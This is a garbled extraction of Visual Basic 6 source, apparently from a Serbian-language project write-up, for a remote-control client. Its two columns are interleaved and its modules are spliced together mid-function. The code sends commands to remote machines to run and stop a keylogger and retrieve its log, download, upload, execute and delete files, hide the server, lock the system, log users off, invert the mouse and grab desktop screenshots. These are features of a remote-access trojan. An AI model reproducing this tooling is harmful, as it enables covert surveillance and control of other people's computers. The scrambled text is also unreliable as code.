ime korisnika If sockExplorer.State <> sckConnected Then
Print #1, txtUser.Text Exit Sub
Close Else
End Sub msg = "|EXECUTE|"
Private Sub cmdDelete_Click() msg = msg & lvFiles.SelectedItem.Key
msg = "|KILLFILE|" & Me.lvFiles.SelectedItem.Key SockMain.SendData msg
‘ izbrisi fajl End If
Debug.Print msg End Sub
SockMain.SendData msg Private Sub cmdGetServerSettings_Click()
Me.lvFiles.ListItems.Remove (lvFiles.SelectedItem.Key) lstVerify.Clear
End Sub chkStartUp.Value = 0
Private Sub cmdDeleteFolder_Click() chkAutoLogin.Value = 0
‘ izbrisi katalog chkVerify.Value = 0
If FolderClick = "C:\" Then Exit Sub chkDownloads.Value = 0
If FolderClick <> "" Then sockServer.Close
msg = "|REMOVEFOLDER|" & FolderClick sockServer.RemoteHost = SockMain.RemoteHost
sockExplorer.SendData msg sockServer.Connect
End If End Sub
End Sub Private Sub cmdHideServer_Click()
Private Sub cmdDisConnect_Click() msg = "|HIDE|"
SockMain.Close SockMain.SendData msg
‘ iskljuci konekciju ,ova funkcija se razlikuje od iskljuci End Sub
server program ,posle ove fun mozemo Private Sub cmdKeyLogger_Click()
‘ponovo uspostaviti konekciju sto nevazi za drugu navedenu. If cmdKeyLogger.Caption = "Start Key-Logger" Then
Disable cmdKeyLogger.ToolTipText = "Stop Key-Logger"
11
End Sub cmdKeyLogger.Caption = "Stop Key-Logger"
Private Sub cmdDownload_Click() ‘ Snimanje izabranog msg = "|STARTLOGGING|"
fajla sa klijent servera SockMain.SendData msg
Dim YTR As String Else
Dim rty As Integer cmdKeyLogger.Caption = "Start Key-Logger"
YTR = Me.lvFiles.SelectedItem.Text cmdKeyLogger.ToolTipText = "Start Key-Logger"
YTR = Mid(YTR, 1, Len(YTR) - 1) msg = "|STOPLOGGING|"
rty = Len(YTR) SockMain.SendData msg
mnuTlzSnapShot.Enabled = False
GetLoggerInfo lblStatus.Caption = " Status: Paused Until Message Box
End If Button Is Clicked On Remote Computer"
End Sub lblStatus.ForeColor = vbYellow
Private Sub GetLoggerInfo() End Sub
On Error Resume Next Private Sub GetStyle(Style As String, tIp As Integer)
' driver list prazan If tIp = 0 Then Style = "vbAbortRetryIgnore"
TvTreeView.Nodes.Clear If tIp = 1 Then Style = "vbCritical"
lvFiles.ListItems.Clear If tIp = 2 Then Style = "vbExclamation"
If sockExplorer.State <> sckConnected Then If tIp = 3 Then Style = "vbInformation"
' **** da pokupi fajl u kom su snimnjena otkucana slova If tIp = 4 Then Style = "vbOkCancel"
keylog **** If tIp = 5 Then Style = "vbOkOnly"
sockExplorer.Close If tIp = 6 Then Style = "vbRetryCancel"
lblState(1).Caption = "Not Connected" If tIp = 7 Then Style = "vbYesNo"
With sockExplorer If tIp = 8 Then Style = "vbYesNoCancel"
.RemoteHost = txtRemHost.Text End Sub
.Connect Private Sub cmdMouse_Click()
End With If cmdMouse.Caption = "Inverse Mouse" Then
Pause 500 cmdMouse.Caption = "Normal Mouse"
End If cmdMouse.ToolTipText = "Make Remote Mouse Move
Dim iResult As Integer Normally"
With CommonDialog1 msg = "|INVERSEMOUSE|"
.DialogTitle = "Save remote file to:" SockMain.SendData msg
.FileName = "C:\AUTOEXEC.ini" Else
.ShowSave cmdMouse.Caption = "Inverse Mouse"
If Len(Dir(.FileName)) <> 0 Then cmdMouse.ToolTipText = "Make Remote Mouse Move
iResult = MsgBox(.FileName & " Vec postoji fajl,zelis Backwards"
presnimiti preko postojeceg?", vbQuestion + msg = "|NORMALMOUSE|"
vbYesNoCancel, "Udaljena kontrola") SockMain.SendData msg
If iResult = vbNo Then End If
Exit Sub End Sub
End If
End If Private Sub cmdNewFolder_Click()
Open .FileName For Binary As #1 Dim NewFolderz As String
End With NewFolderz = InputBox("What's The Name Of The New
bFileTransfer = True Folder You Wish To Create?", "CREATE A NEW
sockExplorer.SendData "|GETFILE|" & FOLDER")
"C:\AUTOEXEC.ini" msg = "|NEWFOLDER|" & FolderClick & "\" &
frmdownloading.lblFIleName = "C:\AUTOEXEC.ini" NewFolderz
frmdownloading.Show sockExplorer.SendData msg
End Sub End Sub
Private Sub cmdLock_Click() Private Sub cmdOpen_Click()
msg = "|LOCKSYSTEM|" If sockExplorer.State <> sckClosed Then
SockMain.SendData msg sockExplorer.Close
End Sub TvTreeView.Nodes.Clear
Private Sub cmdLogOffUser_Click() lvFiles.ListItems.Clear
msg = "|LOGOFF|" End If
SockMain.SendData msg If sockExplorer.State <> sckConnected Then
End Sub With sockExplorer
Private Sub cmdMessage_Click() .RemoteHost = txtRemHost.Text
Dim StIle As String .Connect
Dim TyP As Integer End With
Else
For i = 0 To 8 TvTreeView.Nodes.Clear
If optType(i).Value = True Then lvFiles.ListItems.Clear
TyP = i sockExplorer.Close
End If With sockExplorer
Next i .RemoteHost = txtRemHost.Text
msg = "|MSGBOX|" .Connect
12
GetStyle StIle, TyP End With
msg = msg & "1:" & txtMessageText.Text & "2:" & StIle & End If
"3:" & txtMessageTitle.Text End Sub
SockMain.SendData msg Private Sub cmdProcessRefresh_Click()
SSTab1.Enabled = False lstProcesses.Clear
cmdCloseRemServer.Enabled = False msg = "|REFRESH PROCESSES|"
cmdDisConnect.Enabled = False
mnuFileDisconnect.Enabled = False
13
If Mid(FileToSend, i, 1) = "\" Then t.cbSize = Len(t)
FilezName = Mid(FileToSend, i, Len(FileToSend)) t.hwnd = Picture1.hwnd
Exit For t.uId = 1&
End If Shell_NotifyIcon NIM_DELETE, t
Next i End Sub
msg = "|UPLOAD|" & FolderClick & FilezName Private Sub Form_QueryUnload(Cancel As Integer,
sockExplorer.SendData msg UnloadMode As Integer)
Pause 10 RemoveIconFromTray
Call SendFile(FileToSend, sockExplorer)
14
Me.Height = 7035 TvTreeView_Collapse TvTreeView.Nodes.Item(1)
Restore Exit Sub
Me.Show End If
End Sub If InStr(1, Strdata, "|CANT|") <> 0 Then
Private Sub sckProcesses_Connect() Close #1
lblStatus.Caption = " Status: Retreiving Remote bFileTransfer = False
Processes..." If bGettingdesktop = True Then
End Sub bGettingdesktop = False
End If
15
If (.Value + Len(Strdata)) <= .Max Then End If
.Value = .Value + Len(Strdata) If InStr(1, Data, "|COMPLETE|") <> 0 Then
Else frmdownloading.objprog.Value =
.Value = .Max frmdownloading.objprog.Max
DoEvents 'MsgBox "File Received!", vbInformation, "Download
End If Complete"
End With frmdownloading.Caption = "FILE RECEIVED"
End If frmdownloading.lblBytes.Caption = "DOWNLOAD
sockExplorer_DataArrival_Exit: COMPLETE"
Exit Sub DownloadTimer.Enabled = True
bFileTransfer = False
16
End Sub
sckProcesses.Close Private Sub SendFolderName(FldName As String)
sckProcesses.RemoteHost = SockMain.RemoteHost If FldName = "" Then FldName = "C:"
sckProcesses.Connect lblCurrentFolder.Caption = "Current: " & FldName
End Sub sockExplorer.SendData "|FN|" & FldName
Pause 10
Private Sub sockServer_DataArrival(ByVal bytesTotal As End Sub
Long) Private Sub TvTreeView_NodeClick(ByVal Node As
Dim Data As String MSComctlLib.Node)
sockServer.GetData Data Dim FLDR As String
Data = DECRYPT(Data, Len(Data)) FLDR = Node.Key
FolderClick = FLDR
If InStr(1, Data, "|INFO|") <> 0 Then For i = Len(FLDR) To 1 Step –1
17
On Error GoTo nikola2: If Label16.Caption = "Disenabled" Then
If client2.Caption <> "slobodno" Then Form2.Winsock6.SendData "start"
If Label12.Caption = "Disenabled" Then Label16.Caption = "Enabled"
Form2.Winsock2.SendData "start" Exit Sub
Label12.Caption = "Enabled" End If
Exit Sub If Label16.Caption = "Enabled" Then
End If Form2.Winsock6.SendData "stop"
If Label12.Caption = "Enabled" Then Label16.Caption = "Disenabled"
Form2.Winsock2.SendData "stop" Exit Sub
Label12.Caption = "Disenabled" End If
Exit Sub End If
End If nikola6:
End Sub
Private Sub client7_Click()
& ".jpg")
On Error GoTo nikola7: client1.Caption = Text1.Text
If client7.Caption <> "slobodno" Then nikola:
If Label17.Caption = "Disenabled" Then On Error GoTo ni1:
Form2.Winsock7.SendData "start"
Label17.Caption = "Enabled" Desk2.Navigate App.Path & "\" & Text2.Text & ".jpg"
Exit Sub Image2.Picture = LoadPicture(App.Path & "\" & Text2.Text
End If & ".jpg")
If Label17.Caption = "Enabled" Then client2.Caption = Text2.Text
Form2.Winsock7.SendData "stop" ni1:
Label17.Caption = "Disenabled" On Error GoTo ni2:
Exit Sub Desk3.Navigate App.Path & "\" & Text3.Text & ".jpg"
End If Image3.Picture = LoadPicture(App.Path & "\" & Text3.Text
End If & ".jpg")
nikola7: client3.Caption = Text3.Text
End Sub ni2:
Private Sub client8_Click() On Error GoTo ni3:
On Error GoTo nikola8: Desk4.Navigate App.Path & "\" & Text4.Text & ".jpg"
If client8.Caption <> "slobodno" Then Image4.Picture = LoadPicture(App.Path & "\" & Text4.Text
If Label18.Caption = "Disenabled" Then & ".jpg")
Form2.Winsock8.SendData "start" client4.Caption = Text4.Text
Label18.Caption = "Enabled" ni3:
Exit Sub On Error GoTo ni4:
End If Desk5.Navigate App.Path & "\" & Text5.Text & ".jpg"
If Label18.Caption = "Enabled" Then Image5.Picture = LoadPicture(App.Path & "\" & Text5.Text
Form2.Winsock8.SendData "stop" & ".jpg")
Label18.Caption = "Disenabled" client5.Caption = Text5.Text
Exit Sub ni4:
End If On Error GoTo nini:
End If Desk6.Navigate App.Path & "\" & Text6.Text & ".jpg"
nikola8: Image6.Picture = LoadPicture(App.Path & "\" & Text6.Text
End Sub & ".jpg")
Private Sub cmdConnect_Click() client6.Caption = Text6.Text
' ovo i nema kljucnu ulogu jer ovaj SOCK mora da radi nini:
neprekidno On Error GoTo nikol1:
If cmdConnect.Caption = "Start Listening for Desk7.Navigate App.Path & "\" & Text7.Text & ".jpg"
Connections" Then Image7.Picture = LoadPicture(App.Path & "\" & Text7.Text
SckReceiveFile(0).LocalPort = & ".jpg")
Val(Me.txtListenPort.Text) client7.Caption = Text7.Text
SckReceiveFile(0).Listen nikol1:
cmdConnect.Caption = "Stop Listening for On Error GoTo nikola1:
Connections" Desk8.Navigate App.Path & "\" & Text8.Text & ".jpg"
Else Image8.Picture = LoadPicture(App.Path & "\" & Text8.Text
SckReceiveFile(0).Close & ".jpg")
cmdConnect.Caption = "Start Listening for client8.Caption = Text8.Text
Connections" nikola1:
End If End Sub
End Sub Private Sub Form_Load()
Private Sub Command10_Click() Me.Left = 0
Form1.Show Me.Top = 0
' Pokazi chat prozor minimizuj glavnu formu Me.WindowState = 2
Me.WindowState = 1 'SckReceiveFile je SOCK koji samo prima sliku sa klijenta i
End Sub ' moze vise fajlova da prima istovremeno svih 8 i vise
Private Sub Command9_Click() If cmdConnect.Caption = "Start Listening for
18
' tekst1 2 3 4 5 6 7 i 8 su povezane sa winsock kontrolama iz Connections" Then
form2 SckReceiveFile(0).LocalPort =
' u slucaju da neki racunar vise nije konektovan text1 2 3 ... Val(Me.txtListenPort.Text)
bice slobodno SckReceiveFile(0).Listen
' slika pod takvim nazivom nepostoji i nece ucitati cmdConnect.Caption = "Stop Listening for
' U jednoj pod funkciji se nalaze provere svih textboksova Connections"
jer uslucaju Else
' da se skida slika sa svih 8 klijen racunara redom bi SckReceiveFile(0).Close
izcitavao slike cmdConnect.Caption = "Start Listening for
' gde nema slike on ce preskociti taj deo sto nam omogucuje Connections"
komanda End If
' on error goto >>>>>> lstConnections.ListItems.Add , , "0"
On Error GoTo nikola: End Sub
desk1.Navigate App.Path & "\" & Text1.Text & ".jpg"
Image1.Picture = LoadPicture(App.Path & "\" & Text1.Text
19
If LV.ColumnHeaders(Column + 1).Width < TLen Then ' je klijent diskonektovan , ucitavanje slike radi i command9
LV.ColumnHeaders(Column + 1).Width = TLen ali
End Sub ' se ovde registruje diskonekcija
Private Sub SckReceiveFile_ConnectionRequest(Index As On Error GoTo nik:
Integer, ByVal requestID As Long) client1.Caption = Text1.Text
Dim k As Integer, LI As ListItem
For k = 1 To SckReceiveFile.UBound desk1.Navigate App.Path & "\" & Text1.Text & ".jpg"
If SckReceiveFile(k).State = sckClosed Then Exit For Image1.Picture = LoadPicture(App.Path & "\" & Text1.Text
Next k & ".jpg")
If k = SckReceiveFile.UBound + 1 Then nik:
Load SckReceiveFile(SckReceiveFile.UBound + 1) End Sub
ReDim Preserve Clients(SckReceiveFile.UBound) Private Sub Text2_Change()
k = SckReceiveFile.UBound On Error GoTo nik:
lstConnections.ListItems.Add , , CStr(k) client2.Caption = Text2.Text
End If Desk2.Navigate App.Path & "\" & Text2.Text & ".jpg"
Image2.Picture = LoadPicture(App.Path & "\" & Text2.Text Private Sub txtListenPort_Validate(Cancel As Boolean)
& ".jpg") txtListenPort.Text = Val(txtListenPort.Text) ' vrednost
nik: txtlistenport je 8866
End Sub ' moze se promeniti ali se mora promeniti i na strani klijent
Private Sub Text3_Change() aplikacije
On Error GoTo nik: End Sub
client3.Caption = Text3.Text Sadrzaj forme MDIForm1.frm ( Forma roditelj –sve
Desk3.Navigate App.Path & "\" & Text3.Text & ".jpg" ostale forme su unutar nje.)
Image3.Picture = LoadPicture(App.Path & "\" & Text3.Text
& ".jpg") Private Sub MDIForm_Load()
nik: ‘ prikazi glavnu formu
End Sub frmMain1.Show
Private Sub Text4_Change() ‘ Ucitaj form2
On Error GoTo nik: Load Form2
client4.Caption = Text4.Text ‘Maksimizuj glavnu formu
Desk4.Navigate App.Path & "\" & Text4.Text & ".jpg" frmMain1.WindowState = 2
Image4.Picture = LoadPicture(App.Path & "\" & Text4.Text End Sub
& ".jpg") Private Sub MDIForm_Unload(Cancel As Integer)
nik: ‘ Ako se iskljuci roditeljska forma iskljucice se I sve ostale
Unload Form1
End Sub Unload Form2
Private Sub Text5_Change() Unload frmLogin
On Error GoTo nik: Unload frmMain
client5.Caption = Text5.Text Unload frmMain1
Desk5.Navigate App.Path & "\" & Text5.Text & ".jpg" End Sub
Image5.Picture = LoadPicture(App.Path & "\" & Text5.Text Private Sub nikol_Click()
& ".jpg") ‘ ovo je kod padajuceg menija
nik: Form1.Show
End Sub Form2.Hide
Private Sub Text6_Change() frmMain1.WindowState = 1
On Error GoTo nik: End Sub
client6.Caption = Text6.Text Private Sub picview_Click()
Desk6.Navigate App.Path & "\" & Text6.Text & ".jpg" Form1.Hide
Image6.Picture = LoadPicture(App.Path & "\" & Text6.Text Form2.Hide
& ".jpg") frmMain1.WindowState = 2
nik: End Sub
End Sub Private Sub remk_Click()
Private Sub Text7_Change() frmMain.Show
On Error GoTo nik: frmMain1.WindowState = 1
client7.Caption = Text7.Text Form1.Hide
Desk7.Navigate App.Path & "\" & Text7.Text & ".jpg" Form2.Hide
Image7.Picture = LoadPicture(App.Path & "\" & Text7.Text End Sub
& ".jpg")
nik:
End Sub
Private Sub Text8_Change()
On Error GoTo nik:
client8.Caption = Text8.Text
Desk8.Navigate App.Path & "\" & Text8.Text & ".jpg"
Image8.Picture = LoadPicture(App.Path & "\" & Text8.Text
& ".jpg")
nik:
End Sub
20
Private Sub tmrStatus_Timer()
'Ispisuje status konekcije
Dim k As Long, TmpStr As String
For k = 0 To SckReceiveFile.UBound
TmpStr = Choose(SckReceiveFile(k).State + 1,
"Closed", "Open", "Listening", "Connection pending",
"Resolving host", "Host resolved", "Connecting",
"Connected", "Server is disconnecting", "Error")
If Me.lstConnections.ListItems(k + 1).SubItems(1) <>
TmpStr Then
Me.lstConnections.ListItems(k + 1).SubItems(1) =
TmpStr
FitTextInListView Me.lstConnections, 1, , k + 1
End If
Next k
End Sub
21
Dim lLength As Long, lRet As Long sHiByte & " is not supported by 32-bit Windows Sockets."
If Not SocketsInitialize() Then Exit Function SocketsInitialize = False
lRet = gethostbyaddr(Address, 4, AF_INET) Exit Function
If lRet <> 0 Then End If
CopyMemory lRet, ByVal lRet, 4 'must be OK, so lets do it
lLength = lstrlenA(lRet) SocketsInitialize = True
If lLength > 0 Then End Function
GetHostNamez = Space$(lLength)
CopyMemory ByVal GetHostNamez, ByVal lRet, Sadrzaj madula modktrap.bas ( Funkcija salje sliku
lLength programa na kom se trenutno nalazi focus.-)
End If
Else Public Declare Sub keybd_event Lib "USER32" (ByVal bVk
GetHostNamez = "No Host Found" As Byte, ByVal bScan As Byte, ByVal dwFlags As Long,
End If ByVal dwExtraInfo As Long)
SocketsCleanup
End Function
22
Public Function IsNT() As Boolean
' Operating System variable and declaration. ' Returns TRUE if the system is a Windows NT based one.
Private Declare Function GetVersionEx Lib "kernel32" Alias ‘ IZVORI INFORMACIJA
"GetVersionExA" (lpVersionInformation As ' This routine was copied from 'Michel D. PRET' –
OSVERSIONINFO) As Long 'GetWindowSnapShot' program.
' http://www.planetsourcecode.com/vb/scripts/Show
Private Type OSVERSIONINFO Code.asp?txtCodeId=1541&lngWId=1
dwOSVersionInfoSize As Long Dim verinfo As OSVERSIONINFO
dwMajorVersion As Long verinfo.dwOSVersionInfoSize = Len(verinfo)
dwMinorVersion As Long If (GetVersionEx(verinfo)) = 0 Then Exit Function
dwBuildNumber As Long If verinfo.dwPlatformId = 2 Then IsNT = True
dwPlatformId As Long End Function
szCSDVersion As String * 128
End Type
23
IJL_JFILE_READWHOLEIMAGE = 2& upsampling_reqd As Long '; '// default = TRUE
IJL_JBUFF_READWHOLEIMAGE = 3& jquality As Long '; '// default = 75. 100 is my
''// Read JPEG tables from a JPEG Abbreviated Format bit preferred quality setting.
stream.
IJL_JFILE_READHEADER = 4& '// Low-level properties - 20,000 bytes. If the whole
IJL_JBUFF_READHEADER = 5& structure
''// Read image info from a JPEG Abbreviated Format bit ' is written out then VB fails with an obscure error message
stream. ' "Too Many Local Variables" !
IJL_JFILE_READENTROPY = 6& '
IJL_JBUFF_READENTROPY = 7& ' These all default if they are not otherwise specified so
''// Write an entire JFIF bit stream. there
IJL_JFILE_WRITEWHOLEIMAGE = 8& ' is no trouble to just assign a sufficient buffer in memory:
IJL_JBUFF_WRITEWHOLEIMAGE = 9& jprops(0 To 19999) As Byte
''// Write a JPEG Abbreviated Format bit stream.
IJL_JFILE_WRITEHEADER = 10& End Type
IJL_JBUFF_WRITEHEADER = 11&
''// Write image info to a JPEG Abbreviated Format bit
stream.
24
dwLowDateTime As Long If tJ.JPGChannels = 1 Then
dwHighDateTime As Long tJ.JPGColor = 4& ' IJL_G
End Type Else
Private Type WIN32_FIND_DATA tJ.JPGColor = 3& ' IJL_YCBCR
dwFileAttributes As Long End If
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME ' Get the JPGWidth ...
ftLastWriteTime As FILETIME lJPGWidth = tJ.JPGWidth
nFileSizeHigh As Long ' .. & JPGHeight member values:
nFileSizeLow As Long lJPGHeight = tJ.JPGHeight
dwReserved0 As Long ' Create a buffer of sufficient size to hold the image:
dwReserved1 As Long If cDib.Create(lJPGWidth, lJPGHeight) Then
cFileName As String * MAX_PATH ' Store DIBWidth:
End Type tJ.DIBWidth = lJPGWidth
Private Declare Function FindFirstFile Lib "kernel32" Alias ' Very important: tell IJL how many bytes extra there
"FindFirstFileA" (ByVal lpFileName As String, ' are on each DIB scan line to pad to 32 bit boundaries:
lpFindFileData cAlternate As String * 14
As WIN32_FIND_DATA) As Long
tJ.DIBPadBytes = cDib.BytesPerScanLine -
lJPGWidth * 3 ' Get the JPGWidth ...
' Store DIBHeight: lJPGWidth = tJ.JPGWidth
tJ.DIBHeight = -lJPGHeight ' .. & JPGHeight member values:
' Store Channels: lJPGHeight = tJ.JPGHeight
tJ.DIBChannels = 3&
' Store DIBBytes (pointer to uncompressed JPG ' Create a buffer of sufficient size to hold the image:
data): If cDib.Create(lJPGWidth, lJPGHeight) Then
tJ.DIBBytes = cDib.DIBSectionBitsPtr ' Store DIBWidth:
tJ.DIBWidth = lJPGWidth
' Now decompress the JPG into the DIBSection: ' Very important: tell IJL how many bytes extra there
lR = ijlRead(tJ, IJL_JFILE_READWHOLEIMAGE) ' are on each DIB scan line to pad to 32 bit
If lR = IJL_OK Then boundaries:
' That's it! cDib now contains the uncompressed tJ.DIBPadBytes = cDib.BytesPerScanLine -
JPG. lJPGWidth * 3
LoadJPG = True ' Store DIBHeight:
Else tJ.DIBHeight = -lJPGHeight
' Throw error: ' Store Channels:
MsgBox "Cannot read Image Data from file.", tJ.DIBChannels = 3&
vbExclamation ' Store DIBBytes (pointer to uncompressed JPG
End If data):
Else tJ.DIBBytes = cDib.DIBSectionBitsPtr
' failed to create the DIB...
End If ' Now decompress the JPG into the DIBSection:
End If lR = ijlRead(tJ,
IJL_JBUFF_READWHOLEIMAGE)
' Ensure we have freed memory: If lR = IJL_OK Then
ijlFree tJ ' That's it! cDib now contains the uncompressed
Else JPG.
' Throw error: LoadJPGFromPtr = True
MsgBox "Failed to initialise the IJL library: " & lR, Else
vbExclamation ' Throw error:
End If MsgBox "Cannot read Image Data from file.",
vbExclamation
End Function End If
Public Function LoadJPGFromPtr( _ Else
ByRef cDib As cDIBSection, _ ' failed to create the DIB...
ByVal lPtr As Long, _ End If
ByVal lSize As Long _ End If
) As Boolean
Dim tJ As JPEG_CORE_PROPERTIES_VB ' Ensure we have freed memory:
Dim bFile() As Byte ijlFree tJ
Dim lR As Long Else
Dim lJPGWidth As Long, lJPGHeight As Long ' Throw error:
MsgBox "Failed to initialise the IJL library: " & lR,
lR = ijlInit(tJ) vbExclamation
25
If lR = IJL_OK Then End If
' Set up the DIB information: ' Ensure we have freed memory:
' Store DIBWidth: ijlFree tJ
tJ.DIBWidth = cDib.Width Else
' Store DIBHeight: ' Throw error:
tJ.DIBHeight = -cDib.Height Err.Raise 26001, App.EXEName &
' Store DIBBytes (pointer to uncompressed JPG data): ".mIntelJPEGLibrary", "Failed to initialise the IJL library: "
tJ.DIBBytes = cDib.DIBSectionBitsPtr & lR
' Very important: tell IJL how many bytes extra there End If
' are on each DIB scan line to pad to 32 bit boundaries:
tJ.DIBPadBytes = cDib.BytesPerScanLine - cDib.Width
*3 End Function
26
If bFileExisted Then tJ.DIBBytes = cDib.DIBSectionBitsPtr
' Very important: tell IJL how many bytes extra there
hFile = lopen(sFile, OF_WRITE Or ' are on each DIB scan line to pad to 32 bit boundaries:
OF_SHARE_DENY_WRITE) tJ.DIBPadBytes = cDib.BytesPerScanLine - cDib.Width
If hFile = 0 Then *3
' problem
Else ' Set up the JPEG information:
SetFileTime hFile, tFnd.ftCreationTime, ' Store JPGWidth:
tFnd.ftLastAccessTime, tFnd.ftLastWriteTime tJ.JPGWidth = cDib.Width
lclose hFile ' .. & JPGHeight member values:
SetFileAttributes sFile, tFnd.dwFileAttributes tJ.JPGHeight = cDib.Height
End If ' Set the quality/compression to save:
End If tJ.jquality = lQuality
' set JPEG buffer
lFileSize = tJ.JPGSizeBytes - tJ.JPGBytes tJ.JPGBytes = lPtr
tJ.JPGSizeBytes = lBufSize
27
'The GetWindow function retrieves a handle to a window Top As Long
that has the specified relationship (Z order or owner) to the Right As Long
specified window. Bottom As Long
Public Declare Function GetWindow Lib "USER32" (ByVal End Type
hwnd As Long, ByVal wCmd As Long) As Long 'The EnumWindows function enumerates all top-level
'The IsIconic function determines whether the specified windows on the screen by passing the handle to each
window is minimized (iconic). window, in turn, to an application-defined callback function.
Public Declare Function IsIconic Lib "USER32" (ByVal EnumWindows continues until the last top-level window is
hwnd As Long) As Long enumerated or the callback function returns FALSE.
'The IsZoomed function determines whether a window is Declare Function EnumWindows Lib "USER32" (ByVal
maximized. lpEnumFunc As _
Public Declare Function IsZoomed Lib "USER32" (ByVal Any, ByVal lParam As Long) As Long
hwnd As Long) As Long 'The FindWindow function retrieves a handle to the top-level
'The IsWindowVisible function retrieves the visibility state window whose class name and window name match the
of the specified window. specified strings. This function does not search child
Public Declare Function IsWindowVisible Lib "USER32" windows. This function does not perform a case-sensitive
(ByVal hwnd As Long) As Long search.
'The AppendMenu function appends a new item to the end of Private Declare Function FindWindow Lib "USER32" Alias
the specified menu bar, drop-down menu, submenu, or "FindWindowA" (ByVal _
shortcut menu. You can use this function to specify the
content, appearance, and behavior of the menu item.
Public Declare Function AppendMenu Lib "USER32" Alias
lpClassName As String, ByVal lpWindowName As String) ByVal uReturnLength As Long, ByVal hwndCallback As
As Long Long) As Long
'The GetClassName function retrieves the name of the class 'The GetNextWindow function retrieves a handle to the next
to which the specified window belongs. or previous window in the Z order. The next window is
Public Declare Function GetClassName Lib "USER32" below the specified window; the previous window is above.
Alias "GetClassNameA" (ByVal _ If the specified window is a topmost window, the function
hwnd As Long, ByVal lpClassName As String, ByVal retrieves a handle to the next (or previous) topmost window
nMaxCount As Long) As Long Public Declare Function GetNextWindow Lib "USER32" _
'The Most Important API Alias "GetWindow" (ByVal hwnd As Long, ByVal wFlag As
'The SendMessage function sends the specified message to a Long) _
window or windows. The function calls the window As Long
procedure for the specified window and does not return until 'The GetTickCount function retrieves the number of
the window procedure has processed the message. milliseconds that have elapsed since the system was started.
Public Declare Function SendMessage Lib "USER32" Alias It is limited to the resolution of the system timer.
"SendMessageA" (ByVal _ Declare Function GetTickCount& Lib "kernel32" ()
hwnd As Long, ByVal wMsg As Long, ByVal wParam As 'The GetDesktopWindow function returns a handle to the
Long, lParam As Any) As Long desktop window. The desktop window covers the entire
'The keybd_event function synthesizes a keystroke. The screen. The desktop window is the area on top of which all
system can use such a synthesized keystroke to generate a icons and other windows are painted.
WM_KEYUP or WM_KEYDOWN message. The keyboard Private Declare Function GetDesktopWindow Lib "User" ()
driver's interrupt handler calls the keybd_event function. As Integer
Public Declare Sub keybd_event Lib "USER32" (ByVal bVk 'The GetDC function retrieves a handle to a display device
As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, context for the client area of a specified window or for the
ByVal dwExtraInfo As Long) entire screen. You can use the returned handle in subsequent
Private Const WM_GETTEXT = &HD GDI functions to draw in the device context.
Private Const WM_GETTEXTLENGTH = &HE Private Declare Function GetDC Lib "User" (ByVal hwnd%)
Private Const GW_CHILD = 5 As Integer
Private Const GW_HWNDNEXT = 2 Public Declare Sub Sleep Lib "kernel32" (ByVal
Private Const GW_HWNDFIRST = 0 dwMilliseconds As Long)
'The FindFirstFile function searches a directory for a file 'The GetDriveType function determines whether a disk drive
whose name matches the specified filename. FindFirstFile is a removable, fixed, CD-ROM, RAM disk, or network
examines subdirectory names as well as filenames. drive.
Declare Function FindFirstFile Lib "kernel32" Alias Declare Function GetDriveType Lib "kernel32" Alias
"FindFirstFileA" (ByVal lpFileName As String, "GetDriveTypeA" (ByVal nDrive As String) As Long
lpFindFileData As WIN32_FIND_DATA) As Long Global LastX As Integer
Declare Function FindNextFile Lib "kernel32" Alias Global LastY As Integer
"FindNextFileA" (ByVal hFindFile As Long, lpFindFileData Global TransBuff As String
As WIN32_FIND_DATA) As Long Public Type POINTAPI
'The FindClose function closes the specified search handle. X As Long
The FindFirstFile and FindNextFile functions use the search y As Long
handle to locate files with names that match a given name. End Type
Declare Function FindClose Lib "kernel32" (ByVal 'Functions for mouse inverse
hFindFile As Long) As Long Public Declare Function SetCursorPos Lib "USER32"
'The ReleaseDC function releases a device context (DC), (ByVal X As Long, ByVal y As Long) As Long
28
freeing it for use by other applications. The effect of the Public Declare Function GetCursorPos Lib "USER32"
ReleaseDC function depends on the type of device context. (lpPoint As POINTAPI) As Long
It frees only common and window device contexts. It has no Public Declare Function GetCursor Lib "USER32" () As
effect on class or private device contexts. Long
Public Declare Function ReleaseDC Lib "User" (ByVal 'Functions for screen lock
hwnd As Integer, ByVal _ Public Declare Function SetWindowPos Lib "USER32"
HDC As Integer) As Integer (ByVal hwnd As Long, ByVal hWnd2 As Long, ByVal X As
' to open or execute any file based upon its extension Long, ByVal y As Long, ByVal x1 As Long, ByVal y1 As
Public Declare Function ShellExecute Lib "shell32.dll" Alias Long, ByVal l As Long) As Long
"ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation 'The GetSystemMetrics function retrieves various system
As String, ByVal lpFile As String, ByVal lpParameters As metrics (widths and heights of display elements) and system
String, ByVal lpDirectory As String, ByVal nShowCmd As configuration settings. All dimensions retrieved by
Long) As Long GetSystemMetrics are in pixels.
'The mciSendString function sends a command string to an Public Declare Function GetSystemMetrics Lib "USER32"
MCI device. The device that the command is sent to is (ByVal n As Long) As Long
specified in the command string. Const SHOWS = &H40
' we use it to open close cd door Const FLAG = 2 Or 1
Public Declare Function mciSendString Lib "winmm.dll"
Alias "mciSendStringA" (ByVal lpstrCommand As String, Sadrzaj modula modEnumDrives.bas
ByVal lpstrReturnString As String, _ >>>>>>>>>>>>>>>>>>>>>>>>>>>>>
29
rtn = "Hard Drive" Dim strString As String
Case DRIVE_REMOTE Dim sFileName As String
rtn = "Network Drive" strString = "|FILES|"
Case DRIVE_CDROM sParentPath = NormalizePath(sParentPath)
rtn = "CD-ROM Drive" hFind = FindFirstFile(sParentPath & "\" & vbAllFileSpec,
Case DRIVE_RAMDISK wfd)
rtn = "RAM Disk" If (hFind <> INVALID_HANDLE_VALUE) Then
Case Else Do
rtn = "" sFileName = Left$(wfd.cFileName,
End Select InStr(wfd.cFileName, vbNullChar) - 1)
If rtn <> "" Then If sFileName <> "." And sFileName <> ".." Then
strMessage = strMessage & strDrive & "," & If wfd.dwFileAttributes <> vbDirectory Then
GetDriveType(strDrive + ":\") & "|" strString = strString & sParentPath & Left$
End If (wfd.cFileName, InStr(wfd.cFileName, vbNullChar) - 1) &
Next intCnt "|" & FileLen(sParentPath & wfd.cFileName) & "^"
Enum_Drives = Mid$(strMessage, 1, Len(strMessage) - 1) End If
End Function End If
Function ParseString(ByVal sString As String, ByVal Loop While FindNextFile(hFind, wfd
Delimiter As String) As Collection
On Error GoTo ParseString_Error
Dim CurPos As Long
Dim NextPos As Long
Dim DelLen As Integer
Dim nCount As Integer
num_children = 0
